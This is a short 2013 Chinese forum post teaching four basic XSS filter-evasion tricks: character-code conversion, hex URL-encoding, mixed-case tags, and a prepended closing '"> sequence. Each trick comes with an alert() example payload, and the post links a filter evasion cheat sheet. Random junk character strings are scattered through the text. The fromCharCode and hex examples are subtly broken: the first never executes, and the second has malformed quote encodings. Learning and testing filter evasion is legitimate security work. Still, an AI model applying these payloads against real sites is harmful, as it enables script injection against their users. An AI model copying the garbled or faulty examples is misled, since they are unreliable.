找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2158|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
四种超级基础的绕过方法。
5 `$ E2 o' a: D2 C* d! H1.转换为ASCII码' ^; M( U" R) x4 h8 g8 R
例子:原脚本为<script>alert(‘I love F4ck’)</script >
$ F. z( r& F2 b: B3 \+ e通过转换,变成:
8 R" z7 n9 G6 e7 f6 i: G/ T<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
( e+ ]% L# l# n* L5 }
% s. T# _, [8 @0 l$ A2.转换为HEX(十六进制)
" j" f5 f7 Z$ l例子:原脚本为<script>alert(‘I love F4ck’)</script>- u- }' o1 e; u" T9 B3 ?3 Z
通过转换,变成:
( L' A' D$ I' b8 [9 D3 [2 N%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
. B9 R9 Y' a; R! t- Y/ U3 _ $ j9 ?& e+ Y# l9 y0 V+ g
3.转换脚本的大小写
) T3 P5 y5 X; n& X) m# y" X" c例子:原脚本为<script>alert(‘I love F4ck’)</script>
$ I' b9 d. {& ]3 N, }! b转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>2 x# e: f+ Z- C1 K- X& G% O

5 ^$ X; `4 ]  ^3 [& z) X$ u4.增加闭合标记”>: K( ?. F& m( e; }' l2 b8 B
例子:原脚本为<script>alert(‘I love F4ck’)</script>/ k, a6 |" ?4 u5 g( T' r, B
转换为:”><script>alert(‘I love F4ck’)</script>& R# b% C4 ]$ [3 v3 ~
更详细绕过技术请参考此网页$ Y( F. L- j! L
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
1 j& \, M/ [4 J; L' g 6 A# U$ Q& h' ^7 T: e
转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表